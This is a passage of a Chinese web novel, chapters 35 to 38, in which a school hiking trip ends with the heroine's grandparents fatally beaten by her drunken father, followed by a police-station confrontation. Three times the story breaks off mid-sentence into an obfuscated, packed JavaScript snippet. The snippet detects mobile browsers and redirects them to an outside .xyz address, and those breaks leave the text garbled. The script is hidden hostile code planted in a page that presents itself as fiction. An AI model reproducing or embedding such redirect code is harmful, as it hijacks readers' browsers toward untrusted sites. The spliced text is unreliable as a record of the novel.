祁缘躺在床上,半阖着眼:“今天听他们讨论来着,说去年春天就有过一次踏青,除了走路还是走路,再不就玩什么击鼓传花。” 她补上一句:“他们都说没意思。” “看你外婆岁数大了好骗是不是?碰到这种活动一天不用学习,那帮小孩儿一个个都得乐开花,还能说没意思?” 被拆穿了,祁缘不好意思地笑笑。 冯丽找出来两件衣服,一件卫衣和一件衬衫,都是暖色调的,保暖的同时还很应景。她举起来,问:“你看看你想穿哪件?” 祁缘侧头看了一眼:“衬衫吧。” 系扣子的,热了还能脱。 “行。”冯丽把另一件叠好,重新搁回到柜子里,看床上那人一副不得不去的表情,又说:“你去吧,我都跟阿嶙说完了,他说他明天回来陪你去。” 祁缘听到这个消息先是愣了两秒,下一秒突然从床上坐了起来,起身太快了,她感到一阵眩晕,又重新栽回床里。 冯丽见状“哎呦”一声:“你说你不出去逛逛能行吗?天天守着那些书本做题,这身体素质都不怎么好了。” 祁缘捂着脸,话从掌心里穿出来,声音闷闷的。她笑:“宋嶙真要回来啊?” 自从何浩楠跟她说了那些事以后她也不敢打扰他,平时一周也就能打一次电话,各自还都怀揣着心事,生怕情绪暴露,脸上还要一直挂着笑,怎么看怎么像是两个提线木偶在隔空对话。 尽管视频能看见对方的脸,可那感受不到温度,总归不是心中那个最熟悉的人。 冯丽无奈道:“我还能骗你不成啊?宋嶙明天一早就来,你宋叔叔有点事,要中午才能到。” 祁缘假装不在意地“哦”了一声,翻了个身,背对着冯丽她才敢露出笑容。她以为她隐藏的天衣无缝,其实她心里那点小九九冯丽早就知道了。 这段时间看她整天魂不守舍的冯丽实在是心疼,这才给宋健打电话说了这些,她本来是想明天再说给她个惊喜的,可眼下祁缘连去都不想去,早说一天她也就能多开心一天。 正好院子里的野菜熟了不少,可以给他们拿些带回去,这种纯天然生长的怎么说也比城里买的吃着放心,味道好不说,最起码干净卫生。 …… 第二天一早,天还没怎么亮祁缘就从被窝里爬起来了,她揉了揉干巴巴的眼睛,趿拉着拖鞋去厨房找水喝。 冯丽年纪大了以后睡眠越来越浅,听见门外有动静就穿上衣服出来了,祁缘把杯子里的水一饮而尽,跟冯丽说了声早上好。 冯丽打了个哈欠,问:“你每天赖床叫都叫不醒,今天怎么起这么早?这才五点。” 祁缘把杯子放下,仰靠在沙发里,她也正纳闷:“今天一点睡意没有,我也不知道怎么了。” “阿嶙一回来你这么兴奋啊。” 冯丽的打趣来的毫无预兆,祁缘一下红了脸:“外婆你说什么呢?我是……” 她“我是”了半天也没说出来个所以然,冯丽也不急,就笑着听她讲,祁缘羞的耳根子都红了,道:“算了算了,随您怎么想吧,我要去洗漱了。” “行,不想说就不说,不勉强。” 祁缘躲进浴室,镜子里的自己脸红的像个苹果,一摸都发烫。她泄了气,外婆是不是已经察觉到什么了? 早饭过后,祁缘背着冯丽给她收拾完的书包,一边穿鞋一边跟他们说再见。殷鹏背着手,冲她笑了笑:“整天过着两点一线的生活,这既然出去了就玩的开心点儿。” “我知道了外公。” 祁缘把鞋带系好,站起来跺了跺脚,挥手:“外公外婆再见,我走了啊。” “行,走吧。” 两个老人笑着,皱纹爬了满脸,彰显着岁月的痕迹。 宋嶙说他在校门口等着她。 他向来说到做到,不知道几点来的,此时正和何浩楠站在一起,现在是绝大部分学生到校的时间,两个大高个儿混在扎堆的人群里毫不逊色,看上去格外显眼。 祁缘走近,发现宋嶙的头发剪短了些,看上去清爽了许多。他在和何浩楠聊天,阳光照在他清秀的侧脸上,睫毛卷翘,轻轻扑闪,有种淡淡的疏离感。 不知道在聊些什么,两人都挺认真,谁也没注意到这边的祁缘。一直等到她走到跟前了他们才察觉到,宋嶙率先从话题中抽离出来,面向她时脸上的笑容带动着太阳穴的痣,这不是强颜欢笑,这种自然是由内而外散发出来的。 他见到她是真的开心。 何浩楠发现端倪,伸出食指指着他们两个,一脸震惊:“你们穿的衣服怎么这么像?” 祁缘这才注意到宋嶙今天的衣着,他居然也穿的衬衫,更巧的是他们的衣服色调和图案都很相像,只不过两人穿出了两种风格,女生看上去乖巧,男生看上去张扬。他穿什么衣服都喜欢袖口挽起,露出一截手臂。 宋嶙刚要开口,结果被祁缘抢先一步。她问他:“你是不是学我?” “我……你……” 这本来应该是他的台词,第一次被抢还有点不习惯,他在那里支支吾吾半天,何浩楠笑了声:“现在可算是有人治得了你了。” 等到时间了各班班主任就该清点自己班的人数了,崔荣站在台阶上数着下面这群黑压压的脑瓜,一边伸手指着,一边在嘴边默念,突然数着数的手一顿,他揉了揉眼睛,转瞬喜笑颜开。 自从陈子涛去世以后崔荣就没见过他了,这次终于不再是宋嶙主动,而是崔荣前去挎他的肩膀,两人搂在一起,这么一看他们俩不像师生,更像是好兄弟。 他对他的学生是有感情在的,胳膊碰着他骨头,一看就知道这孩子被折磨的不轻,肩膀都没什么肉了,衣领下的锁骨也十分明显。崔荣心里泛起一阵酸楚,却又不知该如何安慰。 他想问的那些话也在一瞬间全都堵在心口,还是不要提那些伤心事为好,崔荣想了想,往别的话题上转:“你小子,怎么就偏偏春游时候回来了?何浩楠告诉你的吧?” 这种事崔荣总是能第一个想到他,何浩楠眼睛望向别处,他抱着胳膊,一脸无语。 明明他也是昨天晚上才知道他要回来的,而且这件事和他一点关系都没有,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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校长负责打头阵,三步化作两步率先登了上去,他大概有五十多岁了,身上的干劲儿却比年轻人还足,他在前面挥手,催促学生们快跟上。 刚开始他们还有体力,尽管一阵哀嚎但给自己打打气最起码还能跟上。可好景不长,大概在全程过半的时候一个个就赖在原地不走了,抱石墩的抱石墩,躺地上的躺地上,呼哧带喘的翻包找水喝。 校长扶额叹息:“你们这年轻人都什么体力啊?这点儿困难都克服不了吗?” 何浩楠蹲在地上,舌头伸的挺老长:“怎么这老登就不累挺,蹦蹦跶跶跟个猴儿似的。” 宋嶙仰头喝了口水:“咋不说你虚?” “我虚?”这可是男人的尊严,何浩楠站起来就往前走:“搞笑。” 校长看了眼表,再不走野炊时间就不够了。他招呼道:“都赶紧起来,登到顶还得吃饭呢!” “吃啥啊?”有个学生问,他们都没带吃的。 “烧烤啊!要不然我带着你们爬山干什么?你们班主任都在后边搬东西呢,不比你们累啊?” “烧烤?” 他说完这话他们才注意到自己班的班主任丢了,然而就算现在知道了也没人在意,他们心思都在烧烤上,学校还从来没有这么慷慨过呢,居然会出费用带他们吃烧烤? 他说话可信度不高,很多人不信,异口同声道:“真的假的啊校长?” 他在他们印象里就这么差劲吗?校长掐着腰,脸上没表情:“我这么大人了骗你们这群小孩儿干什么?” 结果他们还是不起来,直到班主任们捧着烤架跟上来了,这才有人喊:“我靠!快爬啊!有烧烤吃了!” 宋嶙哼笑一声:“太阳打西边出来了。” 祁缘不懂:“他很抠门吗?” 他拉她起来,一边走一边说:“想想咱学校吃那些玩意儿,素的生产队的驴都不稀罕吃,他拿来喂学生,你说抠不抠?” 祁缘想了想:“那确实挺小气的。” 又要爬台阶了,她现在光是看着就觉得累,宋嶙看了她一眼,把她书包摘下来自己背着,然后走到后面,手掌抵在她腰上。 “走吧。” 祁缘扬起唇角,好像确实轻松了不少。 36. 第 36 章 终于登顶了。 最后一节台阶上去,祁缘腿都麻了,光是站着就打颤,又酸又无力。宋嶙在旁边嗤她:“你身体素质咋这么垃圾?” 她想反驳,结果面前这人爬完山就像是登了个小坡,除了刚开始喘了两下,现在一副无所谓的样子,登山这事对于他来说好像根本不屑一顾。 宋嶙还沉浸在她晶莹清澈的眼睛里,祁缘睨他:“这都不累,你是怪物吗?” 他摇头,全然觉得她这话是在欣赏他,无奈摊开手:“太强也是一种罪过吗?” 何浩楠从他身边走过,嫌弃道:“以前怎么没看出来你这么能臭嘚瑟?骂你都能起飞。” “你懂个屁。” 最开始本来是一个班一组的,可爬到后面速度不一也就分散了,体力好的就冲到前面,体力差的就落在后面。祁缘他们的速度算是中等,这会儿后面落下的那些才狼狈地跟了上来。 其实绝大多数人都是冲着烧烤去的,心中有了目标,这才坚持到了最后,否则按照去年的表现来看,今年肯定有中途撂挑子不干的。 校长毕竟年龄大了,体力肯定不如小年轻,他扶树喘着粗气,还不忘抨击他们:“你们这一个个就想着吃,我要是不提前透露,再有半个小时你们都爬不上来。” 没人爱听他墨迹,这时候就有人拿出看家本领,开始捧臭脚、拍马屁了:“对呀对呀,还得是校长大人英明。” 这下可算是把他嘴给堵上了,还给他夸乐呵了,校长咳了声:“春天嘛,带你们出来溜达溜达有好处,我们学校现在主张的就是德智体美劳全面发展……” 又吹上了,宋嶙懒得听,去下面帮崔荣抬烧烤架。崔荣也不推脱,他累的腰酸背痛,巴不得有人过来帮忙呢。 手被压了几道红印子,他甩了甩,一脸欣慰道:“还得是宋嶙啊,我亲儿子。” “我天,”宋嶙笑了声,“我要是你儿子你不得一天打我八遍。” “客套一下,就客套一下,哈哈哈哈。” 崔荣拿手当扇子,给自己扇风。他有时候真挺佩服这个校长的,分工很明确,吩咐主任拿食材,让各班班主任拿自己班的烧烤架,就唯独没给自己下任务。还美名其曰自己要带队,结果还不是最后那波上来的,前面的学生估计丢了两个他都不知道。 越想越气,他皱巴张脸,真看自己拿点钱,苦力都是给别人干的。 这时校长突然转过头来,崔荣以光速变脸,十分违心地赞赏道:“这校长办事效率就是快,今年这学生也不拖拉了,不错不错,还得是您出马呀。” 被夸那人大言不惭地咧着嘴角,比了个OK的手势:“哈哈哈哈,这都小case。” 祁缘别过头去,这散装英语,她听的实在是忍不住笑。 这次终于全员到齐了,每个班都派出来两个学生上前面领串,其余的就待在后面支摊子。班主任和自己班的学生一起吃,几个主任和校长坐一起。 崔荣把炭点上,他们班位置不好,来点风这烟就对着他扑,给他呛的直咳嗽。何浩楠把他拉到一边,拿着蒲扇自己坐下来。 “得了崔哥,你还是搁那等着吃吧。” “啥意思,看不起我呀?” 宋嶙蹲在旁边看笑话:“崔哥,你那鼻孔都让烟给熏黑了,再不起来一会儿成李逵了。” “我天,是吗?”崔荣赶忙擦鼻孔,班上女生大多都化妆,这个时候在补妆,有人见状递来镜子,他一照,还真是。 他指向宋嶙,“去去,你们叫两个男生一起烤,我就不参与了。” 有损形象的事他不干。 宋嶙应了声,把身前的食材往前推。烤串这种活男生都爱干,不用招呼就来人,几个人扎堆围在一起,你烤两串我烤两串的,时不时还得叽叽喳喳喊两嗓子,这片地带被他们带动的气氛格外活跃。 别的班最开始还放不开,让他们这么一闹腾也不扭捏了,都兴高采烈地抢着烤,师生关系也跟着升华了许多。 看来这个春天赋予的不止是大自然的生命,还有少年们的满腔热忱。 与男生们不同的是,各班的女生们基本都坐在后面。食材买来就是弄好的,也用不着她们插手,她们等着吃就行了,而且精心化了那么漂亮的妆,可不是用来做这种事的。 祁缘在后面抻着脖子往前看,她没烤过,有点儿好奇烤串是什么感觉。 突然眼前伸过来一只手臂,饮料瓶遮挡住了她的视线,祁缘顺着方向看过去,发现这人正是张晚媛。 她还是那副高傲的样子,始终微抬着脖子,似乎是喜欢这种俯看他人的感觉。她把饮料往她手里一塞,云淡风轻道:“分到你这里了。” 祁缘一时没回过神来,自从她被蒋晗捅伤以后,张晚媛看待她的眼神似乎缓和了许多。混杂着各种感情,或许是对自己曾经的所作所为感到那么一丝抱歉,但这种情感不是很强烈,更多的是可怜。 她们很久都没交集了,祁缘也不想跟她有交集,她宁愿在这个班级一个朋友都没有也不想回头直视曾经。那是一个泥沼,好不容易才爬出来,她不想回忆那段不堪的时光。 她看着手里的饮料,还是出于礼貌说了句谢谢。 张晚媛看出来她不想理她,没办法,她以前被蒋晗利用了,那时候她喜欢宋嶙她也没发觉,这一切也是因她而起。她抖了抖肩膀,也罢,她有的是朋友,没必要在这自取其辱。 烤炉不大不小,中等,一次能烤个二三十串撑死了,烤了半天下来每个人分一串都不够分。这会儿男生们还挺懂事,都不用崔荣说,本着女士优先的原则把这一整盘都给她们端过来了。 何浩楠把最上面的那根递给祁缘,说:“这是阿嶙让我给你的,他说这个没放辣椒。” “哦好。”她接过来拿在手上,下一秒就有个女生凑过来攀上她手臂。祁缘侧着脸,只见那女生调侃道:“老实说,你和宋嶙是不是谈了?” 这人是班里出了名的欠儿,别人不管干嘛她都要打听一下,祁缘被问的脸一红,她拨开她:“没有,他是我哥。” “哦,这样啊,”那女生说话拖腔带调的,听着贼别扭,“那我就放心了,我还以为我们班这大帅哥看上你了呢,没看上就行。” 祁缘怔住,纳了闷,她都没惹她,怎么说出来的话这么有恶意? “去去去,吃还堵不上你嘴。”她刚想回怼,何浩楠听不下去了比她先开口,把女生赶到一边去,对着她背影狠狠瞪了一眼,真的是林子大了什么鸟都有。 宋嶙现在可护着祁缘,她应该庆幸这话是被他听见了,要是被宋嶙听见管她男的女的,就算是条狗冲她叫他也得还回去。 只是…… 这祁缘怎么还把宋嶙当哥哥啊?他们俩又没有血缘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16035469|177650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 关系,就没想想往别的方向发展一下吗? 何浩楠看了眼远处的宋嶙,反正他对她的感情可不太纯正,是个明白人就能看得出来,就她看不明白。 更何况宋嶙现在处于低谷期,他觉得有必要在两人中间搭把手。 刚要开口,烤串那边有个男生冲他喊:“何浩楠你送个串儿能送这么半天,第二炉都熟了还不回来,咋的,她们还用你喂啊?” “还蹲祁缘旁边了,相中人家了咋的?” “你俩滚行不行?”一个比一个没有眼力见儿,何浩楠骂了声,转眼看向宋嶙,结果两人视线还正好对上了。何浩楠感觉自己心跳停了一拍,怎么突然还有种心虚的感觉? 他是真怕他误会,这个位置是待不得了,什么话再急他也得憋回去。何浩楠端起盘子灰溜溜地往回跑,宋嶙瞟了他一眼:“至于吗?逗你两句就怂成这样。” 何浩楠感到一阵头皮发麻:“哎呦我这不是怕你误会吗?你再寻思我跟你抢人,那咱俩还能不能当兄弟了?” 宋嶙看着好笑:“你得抢的过算啊。” “我天,你都这么有自信了。” 其实他们心里明镜儿似的,相比祁缘这种乖乖女,何浩楠更喜欢热烈奔放的,那样的女生明媚自信,总能让他眼前一亮。 所以陈子涛那时候老调侃他,说他是闷骚男。 来来回回又烤了几炉,女生肚量小,吃了几串就不吃了。宋嶙不管别人是装样子还是真饱了,他把祁缘拉过来,硬生生又给她塞了几串。 “我真不吃了。”祁缘晃脑袋,他可真是把她当小孩儿养,生怕她吃不饱。 “行吧,别骗人。” “没骗你。” 宋嶙不勉强了,抬手把炉子上剩下的串都拿进盘子里,现在就剩他们几个烤串的没怎么吃了。何浩楠咬了一口,嘴吧唧的三响,在细品。 “吃腻了猪食冷不丁来一回细糠,怎么还有点儿不习惯呢?” 闻言,有男生去抢他手中的串,“不习惯你就别吃了。” 何浩楠转身躲开:“一种形容,懂吗?” “不懂。” “那不犯毛病,狗指定听不懂人说话啊。” 吃饱喝得了,他们也该开始七嘴八舌扯犊子了。宋嶙往后退了两步,倚在石头上,他不想卷入战争。 像看戏似的,宋嶙笑了声,拧开饮料喝了一口,喉结轻轻滚动,其实吃烧烤就应该整点儿啤酒,但他们也没什么不满意的,没买矿泉水就不错了。 祁缘扭头看他,与宋嶙的视线对上,太阳很大,她别开眼,揉了揉眼睛:“这个时间宋叔叔应该在外婆家了吧?” 宋嶙摸出口袋里的手机,屏幕亮起,十二点多了。 “嗯,他昨天就说这个时候去。” 刚要熄屏,主页面弹来个电话,正是宋健打来的。宋嶙指着手机号码:“看见没有,说曹操曹操到。” 祁缘笑了:“那你快接啊。” 按下接听键,宋嶙把电话扣在耳边,“咋了爸,啥事儿?” 那头不知道说了些什么,祁缘看着他嘴角一点一点垂下去,脸上顿时神色凝重,惹的她也跟着忐忑不安。 短短几秒电话就撂了,她急切地问:“怎么了?宋叔叔找你是有什么事吗?” 他不敢看她,把她从地上拉起来。 “出事了。” 37. 第 37 章 急诊室内,数不清的病床摆的横七竖八,几个医护人员正围在一个很严重的患者旁边忙里忙外,角落的机器滴滴答答的响,时不时就会出现一个患者家属哭着跑着去缴费。在这样的环境下,就算是一个正常人站在这里也会倍感紧张。 祁缘来的时候后背就冒了一层冷汗,现在手心也跟着粘腻。她在这间让人极其压抑的屋子里找了一圈,所有的病床看了个遍,她都没找到她想找的那个人。 直到身后的帘子被拉开。 她扭头,宋健正眨着一双猩红的眼睛望着她,一脸不知所措的样子,看上去像个做错的事的孩子。 祁缘嘴唇打着哆嗦,他身后的那张小床上,躺着的正是她的外公。 老人眼皮阖着,曾经和蔼可亲的脸上泛起多处淤青。T恤上沾了血渍,露在外面的手臂都是红肿的,到处都是紫青色,有的地方甚至鼓起了大包,好像是骨头硬生生怼出来的。 祁缘迈着沉重的步子走过去,离得近了,一块块触目惊心的口子显得更加可怖,她腿一软,后半段几乎是被宋嶙拖着过去的。 “外公……” 她拉起殷鹏垂在床边的手,那双手不再温暖了,是由内而外透出来的那股凉,胸脯那里也不再有起伏,他的心脏停了。 她的外公死了。 祁缘在来的路上一直恍恍惚惚,她一直在祈祷宋健说的那些是假的,可事实已经摆在眼前了她还是不愿意相信,空洞的眼睛流下苦涩的泪,明明今天早上还是好好的,怎么才一上午没见就变成这个样子了? “你醒醒嘛,外公……”她不敢推殷鹏的身子,她怕他疼,只能一下又一下揣摩着他的手掌,轻声在他耳边一遍又一遍呼唤。 “你干嘛不说话……”总是得不到回应后,祁缘终于绷不住了,豆大的泪珠一把一把的掉,浇灭了她内心的火苗,朝她席卷而来的,是铺天盖地的痛苦。 有护士取来白布,要把殷鹏推走。 “别走,别走……我求求你了护士姐姐,别把我外公推走……”祁缘才刚来,她知道这是她和外公的最后一面了,便给那几个护士跪下来,拉着其中一个的衣摆哀求道。 人心都是肉长的,被拉住的护士看她哭成这样心里也不好受,但她还是得履行自己的职责。她劝说道:“小妹妹,我们理解你的心情,可人死不能复生,在这里停着是对死者的不敬,你总得让老人家一路走好吧……” 护士一边说一边向宋健投去求助的目光,宋健心领神会,吸了吸鼻子,把祁缘的手从她衣服上一点一点剥离开。 声音在她头顶传来:“小缘,我们听话……” “你们别碰他……”护士行动了,祁缘心如刀绞,却也只能眼睁睁看着殷鹏被推走,她哭喊着:“外公你个大骗子,你不是说好的明年过年还让我帮你剪窗花吗……” 宋嶙眼眶发酸,他咬紧牙关,强忍着不让眼泪溢出来。越是到这种时候,他和宋健就越应该冷静,他用手给她擦脸,把她扶起来。 “别哭了,要是让外公知道他得多心疼。” 祁缘抽泣着,刚才哭的太狠导致现在头晕目眩的,她突然想起来什么,问宋健:“宋叔叔,我……我外婆呢?” 出了这么大的事冯丽不可能不陪在殷鹏身边,可是她都来了这么久了,她怎么还没看到她外婆? “冯姨她……” “冯丽家属在吗?冯丽家属过来签一下字!” 宋健的话还没说完,有个护士捧着个文件夹,正在门口四处张望着。 “我是!我是!”祁缘举着手跑过去,那护士见状把文件夹递给她,指着横线处:“妹妹,在这里签一下字。” “自愿放弃抢救协议书……是什么意思?” 她傻眼了,她这才反应过来刚才护士是怎么叫她的。 宋嶙僵在原地,侧头看向身边的宋健,他不敢相信:“什么意思?爸,你当时不是只说外公出事了吗?” 宋健抿着唇,“嗯”了声,眼睛在祁缘身上没下来过:“电话里没敢说太多,我怕她挺不住。” 身前的护士给她解释道:“就是病人现在生命垂危,我们的医疗器械对她已经救治无望了,做的再多也只是徒劳。签了这个以后你们去见见病人最后一面,别留下遗憾,就行了。” 作为医院的工作人员,生离死别她们见得多了,她平静地陈述着这句让人难以喘息的话。 话在她脑子里面炸开,祁缘和她不一样,离开的是她的亲人。 她听见自己问:“没有别的办法了吗?” 护士回答的干脆利落:“没有,再挽留只会让她更痛苦。” 抢救室外,她被迫抬起僵硬的手,在监护人那一栏里写下自己的名字——祁缘。 这是她第一次,为别人的生命做决定。 推开门,各种嘈杂的声音隔绝在门外,冯丽躺在病床上,眼皮轻颤,嘴唇微张。 她脸上也挂了彩,见他们进来,她刷白的嘴唇扬起一抹笑。 “外孙女来啦。” “外婆……”祁缘眼眶发烫,眼泪像开了闸的水龙头,怎么也止不住,没流下来的在眼眶里打着转儿,快要看不清冯丽的脸。 她咬着嘴唇,极力想把眼泪憋回去,可惜无济于事,她想多看看外婆最后的样子,就只能反反复复用手背抹去。 “老天爷还是挺通情达理的,让我这老太婆死之前还能再见你一面。” 冯丽喃喃道,她的呼吸很微弱,每发一次音都感觉喉咙像在上酷刑,嗓子仿佛刚吞过千万根银针,渗着一股血腥味儿,疼得她皱了皱眉。 她知道自己快没时间了,但还是忍着痛苦告诫她:“阿缘,答应外婆,离你那个畜牲不如的爸远点儿。” 祁缘愣住,当时宋健打电话只说了句殷鹏进医院了,别的什么也没透露,她光顾着伤心也忘了问清事情的来龙去脉,原来这件事和祁建强有关系。 冯丽张了张口,祁缘不想让她把最后这点力气都用在说话上面,但冯丽总觉得应该让她了解事情的经过和祁建强的为人,便执意要说。 “你爸这个混账东西,这疯子喝了酒,耍了钱,不知道抽了哪股子邪风,没钱了跑到这里来要了。” 早上祁缘刚走,冯丽和殷鹏在家闲着也是闲着,干脆收拾收拾上街了。他们买了点菜种子准备回来种园子,结果一进门就发现祁建强坐在客厅里,正翘着二郎腿嗑瓜子,瓜子壳扔的满地都是,脚边还放着几个空酒瓶。 把别人家当成自己家一样。 “你是怎么进来的?”殷鹏脸色沉下来,他们走的时候不是锁好门了吗? “爸,你又整这出。”祁建强吐了口嘴里的瓜子壳,他永远一副无赖的样子:“门锁了不会翻墙吗?再说了,你就锁大门了,屋门又没锁,进来不是很正常吗?” “你别叫我爸!”殷鹏动了怒,胸脯起伏很快,这个烂人才不配是他的女婿! “一说就急,”祁建强左瞧瞧右看看,邪笑出声:“要不是陈老头告诉我,我还不知道你们过得这么有滋有味儿呢。” “你走!你赶紧给我滚!”殷鹏不想和他多说一句话,上前去扯他的衣领,不出意外被祁建强一把挣开,殷鹏一个趔趄,腰部撞到了电视柜角,疼的他龇牙咧嘴。 “老头子!”冯丽过去扶他,殷鹏喘着粗气,折腾了半天才起身。 冯丽忍不住怒骂:“你到底想干嘛?你害死我女儿还不够,来这里撒什么泼!” “不是这死老头子先动我的吗?摔了也是自讨苦吃。”祁建强不以为意地抠了下耳朵,他终于愿意动弹了,从沙发上跳下来,脚踩在瓜子壳上,嘎嘣嘎嘣响。 他伸手:“给我拿点儿钱。” “你找我们拿钱?”他们没听错吧? “找你们拿钱有啥不对的吗?给你们养了十几年闺女,老子还把祁缘那个小兔崽子养这么大,那时候送给你们我都没要钱。” 祁建强大言不惭地说,这话可把殷鹏气的够呛,就他干那些下三滥的事还叫养媳妇养闺女?那段时间他都不敢出门,就怕邻里邻居笑话他有个这样的女婿。 “你赶紧从我家滚出去!别恶心我们!” 殷鹏气的跳脚,指着他又骂了一遍滚。 这次显然是把祁建强惹怒了,他冲过来,朝脸上上去就是一拳。 “老头子!”冯丽吓得不轻,跪坐在地上捂着殷鹏发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16051210|177650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 胀的脸。 “七八十岁的死老头子了,还搁那逞能呢,真以为是自己年轻时候呢?让你给钱就给钱,一天天哪儿那么多废话!” 祁建强朝地上的人啐了一口,然后开始四处张望,看什么东西不顺眼就往地上砸。他又扭头看向窗户,一把把上面的窗花撕下来,看着手里残缺的碎纸,“啧”了声:“这种没意义的事儿也就你们乐意整,真看到岁数人了,一天天闲的不能再闲了。” “你这个畜牲!我跟你拼了!”冯丽站起来,拿开殷鹏挂在自己身上的手,抓着祁建强的头发怒吼道。 男人气急败坏,怒睁的双眼红的像是充了血:“你这个老不死的!真是给你脸了!” 冯丽一个上了年纪的老太太,怎么可能跟一个中年男人抗衡?力量悬殊,差距太大,僵持了两秒,也只有两秒,她就被重重摔到地上,而后头皮开始流血。 片刻后,朝她而来的是男人没轻没重的拳打脚踢。 “起来啊!再跟老子狂啊!” “老婆子!”殷鹏几乎是爬过去的,年轻时他仗着自己身强体壮在祁建强面前还算有点儿威严,现在一把老骨头了,他根本打不过祁建强,唯一能做的就是把冯丽护在身下。 躺在地上的冯丽也早已泪眼婆娑,就这么眼睁睁地看着殷鹏在自己面前死去,她却无能为力。 身体痛,心更痛。 她呜咽道:“你外公为了护着我,可遭老罪喽……” “要不是你宋叔叔来呀,外婆也见不到我们阿缘了……” “你妈这眼神是真不好啊……一会儿下去了我可得好好说说她……” 冯丽说到最后已经没力气睁眼了,只剩下嘴唇在缓缓动弹,唇纹深的像是一条条裂谷,更像是在彰显着她生命的尽头。 她现在只庆幸,还好今天祁缘不在家。 冯丽缓了会儿,开始交代身后事:“小宋啊,我这老婆子是挺不住了,我现在最担心的是阿缘,她现在没有家人可以依靠了,我实在不想让她回到她爸身边,那样她这一辈子就算毁了。所以我求求你,求求你把她带在你身边,那样她爸就不敢收拾她了。” 估计是怕他不同意,她又说:“阿缘她很乖的,很听话的,她不会给你添乱的……” 说完这些,冯丽开始止不住的咳嗽,像是要把肺咳出来,脸色发紫。 宋健抹了把眼泪,他很早就失去了母亲,冯丽对他这么好,如今却也要离开了。他承诺道:“我知道的冯姨,您放心,我肯定待她像我亲闺女一样好。” 冯丽轻轻眨了眨眼睛,又看向宋嶙,她拉上他的手,说:“好孩子,外婆可喜欢阿嶙了,外婆也知道阿嶙懂事,希望你也能帮我照顾好阿缘,把她当成你的妹妹,就像以前那样,好不好?” 她知道祁缘喜欢他,她不求他们能在一起,她只求他别舍弃她。 宋嶙哑着嗓子,闭了闭眼,克制着内心的情绪:“好啊外婆,我答应你,我跟我爸肯定说到做到。” “那就好……那就好……” 冯丽相信他们的为人,把祁缘交给他们她也放心。 片刻后,冯丽又把视线重新移到祁缘脸上,她看着她哭的已经红肿的眼睛,想帮她擦,可胳膊打着哆嗦,她没有力气抬起来了。 她只好尽自己所能安抚她,冲女孩儿温柔地笑了笑:“别哭,外婆没力气帮你擦了……” “阿缘还是笑起来好看……” 她轻咳一声,脑子里又热又疼。“照顾好自己,别让外婆担心。” 祁缘眼泪糊了一脸:“我知道了外婆……” 得到回应后,冯丽这才缓缓闭上了眼:“阿缘大了,懂事了……” “外婆怎么好像……好像看见你妈妈来接我了呢……” 那道身影由远及近,最后向她伸出手。冯丽眼角流下一滴泪,唇角上扬。 她轻轻叫了一声:“曼曼……” “滴——” 话音刚落,机器发出刺耳的响声。 心率化成了一条直线。 祁缘没有说话,只是轻轻抚了抚外婆沾满血迹的白发。 她再也没有亲人了。 再也没有了。 38. 第 38 章 冯丽和殷鹏的离世,对祁缘打击很大。 她从医院出来以后被宋健带着去了趟派出所。 当时宋健一进门就看见两个老人双双倒在血珀里,他吓了一跳,果断拿出手机报了警,现在祁建强已经被抓住了。 这是他们父女相隔两年后的第一次见面,竟没想到是在这种地方。 眼前的祁建强和以前没什么太大的变化,直至现在似乎也并没有察觉到自己犯了多大的错误,他此时正坐在椅子上,双手被手铐铐着,他看了眼祁缘,又看了眼她身后的宋健,眼里溢出来的轻蔑丝毫不加掩饰。 “我就说嘛,你跟你妈,都是那种不着调的人。” 祁缘瞪圆眼睛:“你什么意思?” “什么我什么意思啊?在他们家待段时间还整的听不懂人话了?”祁建强竖着眉毛,撇了宋健一眼,嘴没个把门儿的有什么说什么:“这是你妈搁这头认识的情人吧?门外站着那个,是不是他俩的私生子啊?” “你她妈再放一个屁试试!”宋健气的发抖,大口喘着粗气,这世上怎么有这么贱的人,居然这么想自己的妻子。 要不是在公安局,他非得给他打的满地找牙不可。 祁建强挑衅道:“怎么?人在做天在看,自己干什么事儿还不让人说了?” “小缘!” 伴随着宋健一声喊叫,祁缘在身边所有人都没反应过来的情况下,冲到祁建强身边,握紧的拳头重重砸在他脸上。 这是她第一次打人,打的还是她的父亲。 她眼球充血,这是什么父亲?这是混蛋! 祁建强愣了足足五秒才反应过来,转瞬一把掐上她的脖子,瞳孔仿佛要瞪的掉出来,他怒骂道:“小贱人,那两个老不死的就是这么教你的吗?啊?!” 宋健和警察上前把两人拉开,别人的家庭和和睦睦,眼前这对父女对对方的感情却是恨之入骨。 实在是讽刺。 祁建强看着宋健护着她那样儿,于是更加肯定了他的想法:“你看我说什么了?你妈搁外边养汉你就跟着胳膊肘往外拐!你俩这像什么你们知道吗?老母鸡护崽子呢?” “祁建强你给我安分点儿!”旁边的警察都看不下去了,听他说的那些污言秽语,他恨不得拿个抹布把他嘴给堵上。 祁缘顾不上脖子的疼痛,撕心裂肺地朝他喊:“你有什么脸说宋叔叔,你凭什么说我妈!你又凭什么打我外公外婆!喝了这么多年酒为什么还没喝死你?你她妈就是个畜牲!” 